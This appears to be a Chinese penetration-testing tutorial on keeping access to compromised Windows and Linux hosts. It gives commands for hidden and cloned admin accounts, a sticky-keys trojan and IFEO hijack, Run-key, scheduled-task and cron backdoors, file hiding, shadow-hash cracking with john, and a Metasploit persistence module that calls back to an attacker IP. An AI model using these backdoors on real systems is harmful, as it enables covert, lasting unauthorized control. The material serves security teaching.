渗透测试-26:权限维持
权限维持概述
- 当攻击者获取服务器权限后,通常会采用一些后门技术来维持自己当前得到的权限,服务器一旦被植入后门,那么攻击者下次进入就方便多了
- 由于攻击可能被发现,会清除一些shell,导致目标丢失,所以需要留下后门来维持权限,达到持续控制的目的
常见后门技术
- 隐藏、克隆账户
- shift 后门
- 启动项、计划任务
- 劫持技术
- Powershell 后门
- 远控软件
- 嗅探技术
- web 后门
Windows后门
隐藏克隆用户
# 增加用户
net user test 123 /add
# 加入管理员组
net localgroup adminitrators test /add
# 此时,执行 net user 就会被看到新建的用户,比较容易被发现
增加隐藏账户
# 管理员权限运行
net user test$ 123 /add
# 增加到管理员组
net localgroup administrators test$ /add
# 此时执行 net user 未发现test$账户,但在计算机右键点击管理,在本地用户和组中可以发现 test$ 账户
克隆隐藏账户
# win+r => regedit
# => HKEY_LOCAL_MACHINE\SAM\SAM
# => 右键权限给 administrator 赋予完全控制权限
# => \Domains\Account\Users\Names
# => F5 刷新
# => 将需要克隆的用户对应键值的 F选项 的权限信息替换掉 test$ 的权限信息
# => 右键导出 test$ 和所对应键值的注册表信息
# => 删除用户:net user test$ /del
# => 导入刚才两个导出的注册表文件,或者直接执行也可以
# => 使用 test$ 账户远程连接测试,发现登陆后的账户是 lily
shfit后门
- Windows 的粘滞键:
C:\windows\system32\sethc.exe
,它本是为不方便按组合键的人设计的,Windows 系统按 5 下 shift 后,Windows 就执行了 - 当我们未登陆系统(停留在登陆界面)的时候 系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次 shift 后的话系统将会以 system 用户(具有管理员级别的权限)来运行
sethc.exe
这个程序
实验
- 可以先使用 msfvenom 制作一个 windows 的木马,改名为
sethc.exe
- 然后替换掉文件
C:\windows\system32\sethc.exe
- 如果
sethc.exe
不能替换,是因为权限的问题 - 先可以更改该文件的拥有者,再更改拥有者的权限
- 比如:在远程连接登录页面按下 5 次 shift,那么就会反弹 shell
shift映像劫持后门
- 映像劫持(Image File Execution Options),简单的说,就是打开程序A,而运行的确实程序B
- 映像劫持是 windows 内设用来调试程序的功能,但常被病毒恶意利用
- 注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
实验
- 创建
sethc.exe
项后,新建 Debugger 字符串,填入相应执行文件的路径 - 按下 5 次 shift 后,会执行相应的执行文件
启动项后门
- 添加启动项,注销后再次登录,就会执行
shell8888.exe
恶意程序 - 启动项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
计划任务后门
- 在 windows7 中运行:
at <时间> "shell.exe"
- 在到达时间之后,执行文件执行
- 不支持 at 命令的,可以使用 schtasks 命令
隐藏上传的文件
- 为了避免被发现,上传之后可以使用
attrib
命令将文件隐藏 - +s 表示设置系统属性,+h 表示设置隐藏属性
- 例如:
attrib +s +h shell8888.exe
Linux后门
- 通过修改
/etc/rc.local
来添加启动命令 - 修改
/etc/crontab
文件添加定时执行的程序或脚本 - 将启动脚本放置到
/etc/cron.hourly
、/etc/cron.daily
、/etc/cron.weekly
、/etc/cron.monthly
等周期性执行脚本的目录,将会定时启动
计划任务后门
编辑计划任务:vim /etc/crontab
*
This operator specifies all possible values for a field. For example, an asterisk in the hour time field would be equivalent to every hour or an asterisk in the month field would be equivalent to every month./
This operator specifies a step value, for example: “0-23/” can be used in the hours field to specify command execution every other hour. Steps are also permitted after an asterisk, so if you want to say every two hours, just use */2.-
This operator specifies a range of values, for example: “5-15” days , which is equivalent to typing “5,6,7,8,9,….,13,14,15” using the comma operator.,
This operator specifies a list of values, for example: “1,5,10,15,20, 25”.
实验
- 准备好一个 shell.elf(使用 msfvenom 生成)
- 编辑 crontab:vim /etc/crontab
补充内容
Linux密码原理
Linux 系统涉及系统登录密码的文件主要有
- 用户信息
/etc/passwd
- 密码信息
/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
冒号是分割符,每个字段分别代表着
- 用户名
- :密码hash值
- :密码修改距离 1970年1月1日 的时间
- :密码将被允许修改之前的天数(0 表示“可在任何时间修改”)
- :系统将强制用户修改为新密码之前的天数(1 表示“永远都不能修改”)
- :密码过期之前,用户将被警告过期的天数(-1 表示“没有警告”)
- :密码过期之后,系统自动禁用帐户的天数(-1 表示“永远不会禁用”)
- :该帐户被禁用的天数(-1 表示“该帐户被启用”)
- :保留供将来使用
Linux系统加密算法
root:$6$JtSkn6bdBSfw4vVS$SMCI4B1wFd2ywOPK.nrr07hQYR41MIszyDIY3Z9/BRD/Qq.YJRs4zKYDi0tIWreM92GHW7sRhwLZzQk4x2Tkb0:18853:0:99999:7:::
数字和所使用的加密算法对应关系:
- $1:MD5 加密算法(22位)
- $2:Blowfish 加密算法(只在有一部分 linux 分支中使用的加密方法)
- $5:SHA-256 加密算法(43位)
- $6:SHA-512 加密算法(86位)
- 其他格式为标准的 DES 加密算法
john爆破Linux密码
# 导出密码列表:
unshadow /etc/passwd /etc/shadow >pass
# 给 john 设置字典
john –-wordlist=/usr/share/john/password.lst pass
# 显示破解成功的密码
john –-show pass
MSF后门
进程注入
# 自动进程迁移
run post/windows/manage/migrate
Persistence模块
# -X 表示设置后门开机自启,-i 每次连接尝试之间的时间间隔
run persistence -P windows/x64/meterpreter/reverse_tcp -X -i 6 -p <PORT> -r <攻击机IP>
Metsvc模块
通过 Metsvc 模块可以在已经获得 shell 的目标主机上,开启一个服务来提供后门的功能
# 自动安装后门,meterpreter 运行
run metsvc –A